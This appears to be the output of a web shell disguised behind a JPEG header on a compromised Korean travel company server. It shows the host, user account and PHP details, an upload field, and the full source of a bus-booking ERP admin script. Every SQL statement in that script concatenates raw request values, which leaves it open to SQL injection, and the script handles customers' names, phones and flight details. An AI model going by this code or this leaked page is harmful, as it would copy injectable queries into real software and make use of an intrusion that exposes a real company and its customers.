ÿØÿà JFIF ` ` ÿþ
Server : Apache System : Linux ruga7-004.fmcity.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64 User : tkt_travelbus ( 1137) PHP Version : 7.0.0p1 Disable Function : mysql_pconnect Directory : /tkt_travelbus/www/admin/erp_231024/ |
Upload File : |
<? include "../include/top_proc.html"; //공통파일 인클루드 include "_common.php"; error_reporting( E_ALL ); ini_set( "display_errors", 1 ); //테이블 $TABLE = 'TB_ERP_BUS'; //첨부파일 $filecnt = 4; if(!$param){ $href = "mode=$mode"; $param = $href."&page=$page"; } // 버스 정산 등록 if($SqlType=='insert' || $SqlType=='edit'){ $start_dateOnlyDate = $start_date; $start_date = $start_date . ' ' . $start_time; $end_date = $end_date . ' ' . $end_time; // 가격 콤마제거 $total_sell_price = str_replace(",","", $total_sell_price); $bus_price = str_replace(",","", $bus_price); $driver_price = str_replace(",","", $driver_price); $toll_price = str_replace(",","", $toll_price); $parking_price = str_replace(",","", $parking_price); $meals_price = str_replace(",","", $meals_price); $surtax_price = str_replace(",","", $surtax_price); $total_buy_price = str_replace(",","", $total_buy_price); // 첨부파일 업로드 처리 for($f=1; $f<=2; $f++) { $T_UserFile_name = $_FILES["T_UserFile".$f]['name']; if ($T_UserFile_name) { $ext = strtolower(substr(strrchr($T_UserFile_name, '.'), 1)); if (in_array($ext, $cf['allow_upload_ext']) == false) { error_msg('잘못된 파일입니다'); } ${"sFile".$f} = FileUploadName("", "../../FileData/erp/", $_FILES{"T_UserFile".$f}['tmp_name'], $T_UserFile_name, "", ""); ${"sFile".$f."_org"} = $T_UserFile_name; } } if($SqlType=='insert'){ $match_private_bus = $TK_MEMBER['mb_id'].time(); $SQL ="INSERT INTO TB_ERP_BUS SET \n"; $SQL.=" a_idx ='".$a_idx."' \n"; $SQL.=" ,bc_idx ='".$bc_idx."' \n"; $SQL.=" ,schedule_name ='".$schedule_name."' \n"; $SQL.=" ,start_date ='".$start_date."' \n"; $SQL.=" ,end_date ='".$end_date."' \n"; $SQL.=" ,bus_model ='".$bus_model."' \n"; $SQL.=" ,bus_number = '".$bus_number."' \n"; $SQL.=" ,driver_name = '".$driver_name."' \n"; $SQL.=" ,driver_phone = '".$driver_phone."' \n"; $SQL.=" ,total_sell_price = '".$total_sell_price."' \n"; $SQL.=" ,bus_price = '".$bus_price."' \n"; $SQL.=" ,driver_price = '".$driver_price."' \n"; $SQL.=" ,toll_price = '".$toll_price."' \n"; $SQL.=" ,parking_price = '".$parking_price."' \n"; $SQL.=" ,meals_price = '".$meals_price."' \n"; $SQL.=" ,surtax_price = '".$surtax_price."' \n"; $SQL.=" ,total_buy_price = '".$total_buy_price."' \n"; $SQL.=" ,esti_state = '".$esti_state."' \n"; $SQL.=" ,e_memo = '".$e_memo."' \n"; $SQL.=" ,cus_name = '".$cus_name ."' \n"; $SQL.=" ,cus_nation = '".$cus_nation."' \n"; $SQL.=" ,cus_phone = '".$cus_phone."' \n"; $SQL.=" ,cus_sns = '".$cus_sns."' \n"; $SQL.=" ,cus_flight = '".$cus_flight."' \n"; $SQL.=" ,cus_meeting_time = '".$cus_meeting_time."' \n"; $SQL.=" ,cus_depature_place = '".$cus_depature_place."' \n"; $SQL.=" ,cus_destination = '".$cus_destination."' \n"; $SQL.=" ,cus_people_cnt = '".$cus_people_cnt."' \n"; $SQL.=" ,cus_luggage_bag = '".$cus_luggage_bag."' \n"; $SQL.=" ,schedule = '".$schedule."' \n"; $SQL.=" ,match_private_bus = '".$match_private_bus."' \n"; for($f=1;$f<=2;$f++){ if(${"sFile".$f}){ $SQL.=" ,MFILE".$f." = '".${"sFile".$f}."' \n"; $SQL.=" ,MFILE".$f."_org = '".${"sFile".$f."_org"}."' \n"; } } $SQL.=" ,ins_dt = now() \n"; $SQL.=" ,ins_id ='".$TK_MEMBER['mb_id']."' \n"; $Result = db_query($SQL); //공급처 연동 버스회사의 알림건 // if(devCookie()) { /* //공급처에 알림톡 발송 if ($busCorpID) { Log::save(sprintf("%s(%d) 공급처 버스회사 알람톡 발송 : %s ", __FILE__, __LINE__, $busCorpID), '', date('Ym')); $producer_data = db_fetch("select ag_alarm_phone from TB_MEMBER where mb_id='{$busCorpID}'"); $ag_alarm_phone = explode("|", $producer_data['ag_alarm_phone']); Log::save(sprintf("%s(%d) 공급처 버스회사 수신 번호 : %s ", __FILE__, __LINE__, $producer_data['ag_alarm_phone']), '', date('Ym')); $busResDate = date("Y-m-d"); // 상용구 $keyword = array( '버스회사명' => $busCorpName, '차종' => $bus_model, '운행일' => $start_date, '행사명' => $schedule_name, '입금가' => number_format($total_buy_price), '접수일' => $busResDate, ); // 발송 foreach ($ag_alarm_phone as $al_k => $al_v) { send_auto_alimtalk('TP_B2B_BUS_RESERVE_V5', 'T', $al_v, $keyword); } }*/ if($Result) { if ($kakaoalitalk == 'on' && $driver_phone) { $busResDate = date("Y-m-d H:i:s"); // 상용구 if(!$driver_name){ $driver_name = "버스기사"; } if(strpos($start_dateOnlyDate, " ") != false){ $start_dateOnlyDate = explode(" ", $start_dateOnlyDate); $start_dateOnlyDate = $start_dateOnlyDate[0]; } $keyword = array( '버스회사명' => $driver_name, '차종' => $bus_model, '운행일' => $start_dateOnlyDate, '행사명' => $schedule_name, '입금가' => number_format($total_buy_price), '접수일' => $busResDate, '고객명' => $cus_name, '국적' => $cus_nation, '연락처' => $cus_phone, 'SNS' => $cus_sns, '항공편' => $cus_flight, '미팅시간' => $cus_meeting_time, '출발지' => $cus_depature_place, '도착지' => $cus_destination, '공급가' => number_format($bus_price), '인원' => $cus_people_cnt, '짐가방' => $cus_luggage_bag, '스케줄' => $schedule, '매칭정보' => $match_private_bus, ); // 발송 send_auto_alimtalk('TP_B2B_BUS_RESERVE_V5', 'T', $driver_phone, $keyword); } } // } if($window == 'close') { error_msg("alert('등록되었습니다');parent.to_dialog.close('{$tmp_layer_id}');","script"); } else { if($returnUrl){ error_msg("parent.document.location.href='{$returnUrl}';","script"); }else{ error_msg("parent.document.location.href='bus_list.php';","script"); } } // 버스 정산 수정 }else if($SqlType=='edit'){ /*if(devCookie()){ p($_POST); p($match_private_bus); exit; }*/ $start_dateOnlyDate = $start_date; if(!$b_idx) error_msg('잘못된 방법입니다.'); if(strpos($start_dateOnlyDate, " ") != false){ $start_dateOnlyDate = explode(" ", $start_dateOnlyDate); $start_dateOnlyDate = $start_dateOnlyDate[0]; } $SQL ="UPDATE TB_ERP_BUS SET \n"; $SQL.=" bc_idx ='".$bc_idx."' \n"; $SQL.=" ,schedule_name ='".$schedule_name."' \n"; $SQL.=" ,start_date ='".$start_date."' \n"; $SQL.=" ,end_date ='".$end_date."' \n"; $SQL.=" ,bus_model ='".$bus_model."' \n"; $SQL.=" ,bus_number = '".$bus_number."' \n"; $SQL.=" ,driver_name = '".$driver_name."' \n"; $SQL.=" ,driver_phone = '".$driver_phone."' \n"; $SQL.=" ,total_sell_price = '".$total_sell_price."' \n"; $SQL.=" ,bus_price = '".$bus_price."' \n"; $SQL.=" ,driver_price = '".$driver_price."' \n"; $SQL.=" ,toll_price = '".$toll_price."' \n"; $SQL.=" ,parking_price = '".$parking_price."' \n"; $SQL.=" ,meals_price = '".$meals_price."' \n"; $SQL.=" ,surtax_price = '".$surtax_price."' \n"; $SQL.=" ,total_buy_price = '".$total_buy_price."' \n"; $SQL.=" ,esti_state = '".$esti_state."' \n"; $SQL.=" ,e_memo = '".$e_memo."' \n"; $SQL.=" ,cus_name = '".$cus_name ."' \n"; $SQL.=" ,cus_nation = '".$cus_nation."' \n"; $SQL.=" ,cus_phone = '".$cus_phone."' \n"; $SQL.=" ,cus_sns = '".$cus_sns."' \n"; $SQL.=" ,cus_flight = '".$cus_flight."' \n"; $SQL.=" ,cus_meeting_time = '".$cus_meeting_time."' \n"; $SQL.=" ,cus_depature_place = '".$cus_depature_place."' \n"; $SQL.=" ,cus_destination = '".$cus_destination."' \n"; $SQL.=" ,cus_people_cnt = '".$cus_people_cnt."' \n"; $SQL.=" ,cus_luggage_bag = '".$cus_luggage_bag."' \n"; $SQL.=" ,schedule = '".$schedule."' \n"; for($f=1;$f<=2;$f++){ if(${"sFile".$f}){ $SQL.=" ,MFILE".$f." = '".${"sFile".$f}."' \n"; $SQL.=" ,MFILE".$f."_org = '".${"sFile".$f."_org"}."' \n"; } } $SQL.="WHERE b_idx = '".$b_idx."' \n"; $Result = db_query($SQL); if($Result){ if($kakaoalitalk == 'on' && $driver_phone){ $busResDate = date("Y-m-d H:i:s"); // 상용구 if(!$driver_name){ $driver_name = "버스기사"; } $keyword = array( '버스회사명' => $driver_name, '차종' => $bus_model, '운행일' => $start_dateOnlyDate, '행사명' => $schedule_name, '입금가' => number_format($total_buy_price), '접수일' => $busResDate, '고객명' => $cus_name, '국적' => $cus_nation, '연락처' => $cus_phone, 'SNS' => $cus_sns, '항공편' => $cus_flight, '미팅시간' => $cus_meeting_time, '출발지' => $cus_depature_place, '도착지' => $cus_destination, '공급가' => number_format($bus_price), '인원' => $cus_people_cnt, '짐가방' => $cus_luggage_bag, '스케줄' => $schedule, ); if($match_private_bus){ $keyword['매칭정보'] = $match_private_bus; } // 발송 send_auto_alimtalk('TP_B2B_BUS_RESERVE_V5', 'T', $driver_phone, $keyword); } } if($window == 'close') { error_msg("alert('수정되었습니다');parent.to_dialog.close('{$tmp_layer_id}');","script"); } else { error_msg('no_alert','bus_edit.php?b_idx='.$b_idx); } } // 버스회사 등록/수정 } else if($SqlType=='corp_insert' || $SqlType=='corp_edit'){ // 첨부 파일 경로 설정 $upload = "../../FileData/erp/"; // 허용/제한 확장자 설정 $only_file = array("jpg", "gif", "png", "doc", "docx", "xls", "xlsx", "ppt", "pptx", "psd", "ai", "hwp", "pdf", "txt"); // 첨부파일 업로드 처리 for($f=1; $f<=$filecnt; $f++) { $T_UserFile_name = $_FILES["T_UserFile".$f][name]; if ($T_UserFile_name) { $ext = strtolower(substr(strrchr($T_UserFile_name, '.'), 1)); if (in_array($ext, $only_file) == false) { error_msg('잘못된 파일입니다'); } ${"sFile".$f} = FileUploadName("", $upload, $_FILES{"T_UserFile".$f}['tmp_name'], $T_UserFile_name, "", ""); ${"sFile".$f."_org"} = $T_UserFile_name; } } if($SqlType=="corp_insert"){ $SQL ="INSERT INTO TB_ERP_BUS_CORP SET \n"; $SQL.=" corp_nm ='".$corp_nm."' \n"; $SQL.=" ,corp_no ='".$corp_no."' \n"; $SQL.=" ,owner_name ='".$owner_name."' \n"; $SQL.=" ,owner_phone ='".$owner_phone."' \n"; $SQL.=" ,manager_name ='".$manager_name."' \n"; $SQL.=" ,manager_phone = '".$manager_phone."' \n"; $SQL.=" ,manager_email = '".$manager_email."' \n"; $SQL.=" ,bz_fax = '".$bz_fax."' \n"; $SQL.=" ,bz_address = '".$bz_address."' \n"; $SQL.=" ,bus_12 = '".$bus_12."' \n"; $SQL.=" ,bus_25 = '".$bus_25."' \n"; $SQL.=" ,bus_45 = '".$bus_45."' \n"; $SQL.=" ,settlement_period = '".$settlement_period."' \n"; $SQL.=" ,bank_name = '".$bank_name."' \n"; $SQL.=" ,bank_depositor = '".$bank_depositor."' \n"; $SQL.=" ,bank_account = '".$bank_account."' \n"; $SQL.=" ,contract_date = '".$contract_date."' \n"; $SQL.=" ,bus_memo = '".$bus_memo."' \n"; for($f=1;$f<=$filecnt;$f++){ if(${"sFile".$f}){ $SQL.=" ,MFILE".$f." = '".${"sFile".$f}."' \n"; $SQL.=" ,MFILE".$f."_org = '".${"sFile".$f."_org"}."' \n"; } } $SQL.=" ,ins_dt = now() \n"; $SQL.=" ,ins_id ='".$TK_MEMBER['mb_id']."' \n"; $Result = db_query($SQL); error_msg('no_alert','bus_corp_list.php?'.$param); }else if($SqlType=='corp_edit'){// 수정 처리 if(!$bc_idx) error_msg('잘못된 방법입니다.'); $SQL ="UPDATE TB_ERP_BUS_CORP SET \n"; $SQL.=" corp_nm ='".$corp_nm."' \n"; $SQL.=" ,corp_no ='".$corp_no."' \n"; $SQL.=" ,owner_name ='".$owner_name."' \n"; $SQL.=" ,owner_phone ='".$owner_phone."' \n"; $SQL.=" ,manager_name ='".$manager_name."' \n"; $SQL.=" ,manager_phone = '".$manager_phone."' \n"; $SQL.=" ,manager_email = '".$manager_email."' \n"; $SQL.=" ,bz_fax = '".$bz_fax."' \n"; $SQL.=" ,bz_address = '".$bz_address."' \n"; $SQL.=" ,bus_12 = '".$bus_12."' \n"; $SQL.=" ,bus_25 = '".$bus_25."' \n"; $SQL.=" ,bus_45 = '".$bus_45."' \n"; $SQL.=" ,settlement_period = '".$settlement_period."' \n"; $SQL.=" ,bank_name = '".$bank_name."' \n"; $SQL.=" ,bank_depositor = '".$bank_depositor."' \n"; $SQL.=" ,bank_account = '".$bank_account."' \n"; if($mb_id == 'novalue'){ $mb_id = ''; } $SQL.=" ,mb_id = '".$mb_id."' \n"; $SQL.=" ,contract_date = '".$contract_date."' \n"; $SQL.=" ,bus_memo = '".$bus_memo."' \n"; for($f=1;$f<=$filecnt;$f++){ if(${"sFile".$f}){ $SQL.=" ,MFILE".$f." = '".${"sFile".$f}."' \n"; $SQL.=" ,MFILE".$f."_org = '".${"sFile".$f."_org"}."' \n"; } } $SQL.="WHERE bc_idx = '".$bc_idx."' \n"; $Result = db_query($SQL); error_msg('no_alert','bus_corp_edit.php?bc_idx='.$bc_idx); } }else if($SqlType=='corp_delete'){ if(!$bc_idx) error_msg('잘못된 방법입니다.'); // 데이터 확인 $sql="SELECT * FROM TB_ERP_BUS_CORP where bc_idx='".$bc_idx."' "; $data = db_fetch($sql); if($data == ''){ error_msg('삭제 오류'); } // 사용중인 정산서 확인 $sql="SELECT * FROM TB_ERP_BUS where bc_idx='".$bc_idx."' "; $esti_use = db_fetch($sql); if($esti_use){ error_msg('삭제 오류. 해당 버스회사를 사용한 정산서가 존재합니다.'); } // 등록된 파일 삭제 for ($f=1; $f<=$filecnt; $f++) { if ($data["MFILE".$f]) { $upload = "../../FileData/erp/"; // 파일 업로드 경로 $desc = $upload . $data["MFILE".$f]; if (file_exists($desc)) { @unlink($desc); } } } // 해당 게시물 삭제 $dbdel = "delete from TB_ERP_BUS_CORP where bc_idx='".$bc_idx."'" ; $res = db_query($dbdel); error_msg('no_alert','bus_corp_list.php?'.$param); exit; }else if($SqlType=='filedel'){ // 파일 경로 설정 $FileFolder = $_SERVER[DOCUMENT_ROOT].'/FileData/erp/'; $query = "select * from TB_ERP_BUS_CORP where bc_idx='{$bc_idx}'"; $data = db_fetch($query); if(!$data) return; $FILE_NM = $data["MFILE".$file_num]; // 파일 삭제 if (file_exists($FileFolder . $FILE_NM)) { @unlink($FileFolder . $FILE_NM); } // 파일 삭제후 업데이트 $sql = "update TB_ERP_BUS_CORP set MFILE".$file_num." = '', MFILE".$file_num."_org = '' where bc_idx = '".$bc_idx."'"; @db_query($sql); echo "<script type=\"text/javascript\"> parent.location.reload(); </script>"; } // 정산 메모 변경 elseif($SqlType == "memo_ins"){ for($i=0;$i<count($memo_idx_arr);$i++) { $b_idx = $memo_idx_arr[$i]; $e_memo = $e_memo_arr[$i]; $sql ="update TB_ERP_BUS set e_memo='{$e_memo}' where b_idx='{$b_idx}' "; db_query($sql); } echo "<script>location.href='bus_list.php?s=1".$_rhref."';</script>"; } // 정산 order_state 변경 elseif($SqlType == "update_order"){ foreach($idx_no_arr as $idx_no) { $sql ="update TB_ERP_BUS set esti_state='{$esti_state}' where b_idx='{$idx_no}' "; db_query($sql); } if($_POST['getValue']){ $_rhref = $_POST['getValue']; } echo "<script>location.href='bus_list.php?s=1".$_rhref."';</script>"; } // 정산 삭제 elseif($SqlType == "del_order"){ foreach($idx_no_arr as $idx_no) { // busProdErpCancelAlimtalkSend($idx_no); $sql ="delete from TB_ERP_BUS where b_idx='{$idx_no}' "; db_query($sql); } if($_POST['getValue']){ $_rhref = $_POST['getValue']; } echo "<script>location.href='bus_list.php?s=1".$_rhref."';</script>"; } // 정산 취소 elseif($SqlType == "cancel_order"){ foreach($idx_no_arr as $idx_no) { $sql ="UPDATE TB_ERP_BUS SET res_stat_cd = 'D' WHERE b_idx = {$idx_no}"; if(db_query($sql)){ busProdErpCancelAlimtalkSend($idx_no); } } if($_POST['getValue']){ $_rhref = $_POST['getValue']; } echo "<script>location.href='/admin/erp/bus_list.php?s=1".$_rhref."';</script>"; exit; } // 정산 복사 elseif($SqlType == "copy_order"){ $query = "select * from TB_ERP_BUS where b_idx='{$b_idx}'"; $data = db_fetch($query); if($data) { unset($data['b_idx']); $data['ins_id'] = $TK_MEMBER['mb_id']; $data['match_private_bus'] = $TK_MEMBER['mb_id'].time(); $data['ins_dt'] = date('Y-m-d H:i:s'); foreach($data as $k => $v){ $sql_arr[] = $k . " = '" . $v . "'"; } $sql_insert = implode(", ", $sql_arr); $SQL ="INSERT INTO TB_ERP_BUS SET " . $sql_insert; $Result = db_query($SQL); } echo "<script>location.href='bus_list.php?s=1".$_rhref."';</script>"; } function busProdErpCancelAlimtalkSend($b_idx){ //bc_idx를 찾는다. if(!$b_idx){ return false; } $sql = "SELECT * FROM TB_ERP_BUS WHERE b_idx = {$b_idx}"; $erpBusRes = db_fetch($sql); $bc_idx = $erpBusRes['bc_idx']; // $bus_model = $erpBusRes['bus_model']; // $start_date = $erpBusRes['start_date']; // $schedule_name = $erpBusRes['schedule_name']; // $total_buy_price = $erpBusRes['total_buy_price']; $driver_name = $erpBusRes['driver_name']; $driver_phone = $erpBusRes['driver_phone']; $bus_model = $erpBusRes['bus_model']; $start_date = $erpBusRes['start_date']; $schedule_name = $erpBusRes['schedule_name']; $total_buy_price = $erpBusRes['total_buy_price']; $cus_name = $erpBusRes['cus_name']; $cus_nation = $erpBusRes['cus_nation']; $cus_phone = $erpBusRes['cus_phone']; $cus_sns = $erpBusRes['cus_sns']; $cus_flight = $erpBusRes['cus_flight']; $cus_meeting_time = $erpBusRes['cus_meeting_time']; $cus_depature_place = $erpBusRes['cus_depature_place']; $cus_destination = $erpBusRes['cus_destination']; $bus_price = $erpBusRes['bus_price']; $cus_people_cnt = $erpBusRes['cus_people_cnt']; $cus_luggage_bag = $erpBusRes['cus_luggage_bag']; $schedule = $erpBusRes['schedule']; $match_private_bus = $erpBusRes['match_private_bus']; /*if(devCookie()){ p($match_private_bus); exit; }*/ $start_dateOnlyDate = $start_date; if(strpos($start_dateOnlyDate, " ") != false){ $start_dateOnlyDate = explode(" ", $start_dateOnlyDate); $start_dateOnlyDate = $start_dateOnlyDate[0]; } if($driver_phone == 'x'){ return true; } if ($driver_phone) { //공급처에 알림톡 발송 $busResDate = date("Y-m-d H:i:s"); // 상용구 $keyword = array( '버스회사명' => $driver_name, '차종' => $bus_model, '운행일' => $start_dateOnlyDate, '행사명' => $schedule_name, '입금가' => number_format($total_buy_price), '접수일' => $busResDate, '고객명' => $cus_name, '국적' => $cus_nation, '연락처' => $cus_phone, 'SNS' => $cus_sns, '항공편' => $cus_flight, '미팅시간' => $cus_meeting_time, '출발지' => $cus_depature_place, '도착지' => $cus_destination, '공급가' => number_format($bus_price), '인원' => $cus_people_cnt, '짐가방' => $cus_luggage_bag, ); if($match_private_bus){ $keyword['매칭정보'] = $match_private_bus; } // 발송 send_auto_alimtalk('TP_B2B_BUS_CANCEL_V3', 'T', $driver_phone, $keyword); return true; } } ?>